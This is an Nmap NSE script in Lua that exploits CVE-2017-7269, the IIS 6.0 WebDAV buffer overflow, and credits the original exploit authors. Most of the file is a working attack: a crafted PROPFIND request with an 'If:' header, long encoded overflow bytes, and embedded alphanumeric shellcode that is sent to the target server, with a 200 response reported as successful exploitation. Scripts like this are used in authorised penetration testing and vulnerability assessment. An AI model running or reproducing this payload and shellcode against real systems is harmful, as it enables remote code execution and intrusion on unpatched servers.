local nmap = require "nmap"
local string = require "string"
local shortport = require "shortport"
local vulns = require "vulns"

-- NSE Buffer Overflow vulnerability in IIS

---
-- @usage
-- ./nmap iis-buffer-overflow <target>
--
-- @output
-- PORT   STATE  SERVICE
-- 80/tcp open   http
-- |  iis-buffer-overflow:
-- |    VULNERABLE: Buffer Overflow in IIS 6 and Windows Server 2003 R2
-- |       State: LIKELY_VULNERABLE
-- |       Risk factor: High CVSS: 10.0
-- |       Description:
-- |         Buffer overflow in the ScStoragePathFromUrl function in the WebDAV
-- |         service in Internet Information Services (IIS) 6.0
-- |         in Microsoft Windows Server 2003 R2 allows remote attackers to execute
-- |         arbitrary code via a long header beginning with "If: <http://" in a
-- |         PROPFIND request, as exploited in the wild in July or August 2016.
-- |
-- |         Original exploit by Zhiniang Peng and Chen Wu.
-- |
-- |    References:
-- |     https://github.com/edwardz246003/IIS_exploit,
-- |_    https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html
--

author = {
  "Zhiniang Peng", -- Original author
  "Chen Wu",       -- Original author
  "Rewanth Cool"   -- NSE script author
}
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit", "vuln", "intrusive"}

portrule = shortport.portnumber(80, "tcp")

action = function(host, port)
  local socket, response, try, catch, payload, shellcode, vulnerable_name

  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
  local vuln = {
    title = 'Buffer Overflow in IIS 6 and Windows Server 2003 R2',
    state = vulns.STATE.NOT_VULN,
    risk_factor = "High",
    description = [[
Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning
with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016.

Original exploit by Zhiniang Peng and Chen Wu.
    ]],
    IDS = {
      CVE = 'CVE-2017-7269'
    },
    scores = {
      CVSS = '10.0'
    },
    references = {
      'https://github.com/edwardz246003/IIS_exploit',
      'https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html'
    },
    dates = {
      disclosure = {year = '2017', month = '03', day = '26'},
    }
  }

  -- If domain name doesn't exist this line of code takes ip into consideration
  vulnerable_name = host.targetname or host.ip

  socket = nmap.new_socket()
  catch = function()
    socket:close()
  end

  try = nmap.new_try(catch)
  try(socket:connect(host, port))

  -- Crafting the payload by parts

  -- Crafting the request with HTTP PROPFIND method
  payload = 'PROPFIND / HTTP/1.1\r\nHost: ' .. vulnerable_name .. '\r\nContent-Length: 0\r\n'
  payload = payload .. 'If: <http://' .. vulnerable_name .. '/aaaaaaa'

  -- Random text added to payload (Can be modified only for experimental purposes)
  payload = payload .. '\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd'
  payload = payload .. '\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5'
  payload = payload .. '\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91'
  payload = payload .. '\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80'
  payload = payload .. '\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3'
  payload = payload .. '\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4'
  payload = payload .. '\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88'
  payload = payload .. '\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7'
  payload = payload .. '\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab'
  payload = payload .. '\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80'
  payload = payload .. '\xb3\xe3\x95\xb7'

  -- Main payload (Do not edit this part)
  payload = payload .. '\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6'
  payload = payload .. '\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88'
  payload = payload .. '\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5'
  payload = payload .. '\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83'
  payload = payload .. '\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d'
  payload = payload .. '\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7'
  payload = payload .. '\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'

  payload = payload .. '>'
  payload = payload .. ' (Not <locktoken:write1>) <http://' .. vulnerable_name .. '/bbbbbbb'

  -- Random text added to payload (Can be modified only for experimental purposes)
  payload = payload .. '\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6'
  payload = payload .. '\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5'
  payload = payload .. '\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7'
  payload = payload .. '\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5'
  payload = payload .. '\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5'
  payload = payload .. '\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4'
  payload = payload .. '\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6'
  payload = payload .. '\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7'
  payload = payload .. '\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3'
  payload = payload .. '\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5'

  -- Main payload (Do not edit this part)
  payload = payload .. '\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7'
  payload = payload .. '\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6'
  payload = payload .. '\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5'
  payload = payload .. '\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7'
  payload = payload .. '\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6'
  payload = payload .. '\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae'
  payload = payload .. '\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80'
  payload = payload .. '\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c'
  payload = payload .. '\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0'
  payload = payload .. '\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8'
  payload = payload .. '\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81'

  -- Shellcode
  shellcode = 'VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA'
  shellcode = shellcode .. 'BAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V'
  shellcode = shellcode .. '3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O0'
  shellcode = shellcode .. '2LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ'
  shellcode = shellcode .. '2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1'
  shellcode = shellcode .. 'KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA'

  payload = payload .. shellcode
  payload = payload .. '>\r\n\r\n'

  -- Exploiting the vulnerability
  try(socket:send(payload))

  -- We receive a 200 response if the payload succeeds.
  response = try(socket:receive_bytes(80960))
  socket:close()

  -- Checking for 200 response in the response
  local regex = "HTTP/1.1 (%d+)"
  local status = string.match(response, regex)

  if status == '200' then
    -- Buffer overflow is successfully executed on the server.
    vuln.state = vulns.STATE.EXPLOIT
    vuln.exploit_results = response
  elseif status == '400' then
    -- Bad request error is occured because webdav is not installed.
    vuln.state = vulns.STATE.LIKELY_VULN
    vuln.exploit_results = "Server returned 400: Install webdav and try again."
  elseif status == '502' then
    -- Likely to have an error in the Server Name
    vuln.state = vulns.STATE.LIKELY_VULN
    vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again"
  elseif status ~= nil then
    vuln.exploit_results = response
  end

  return vuln_report:make_output(vuln)

end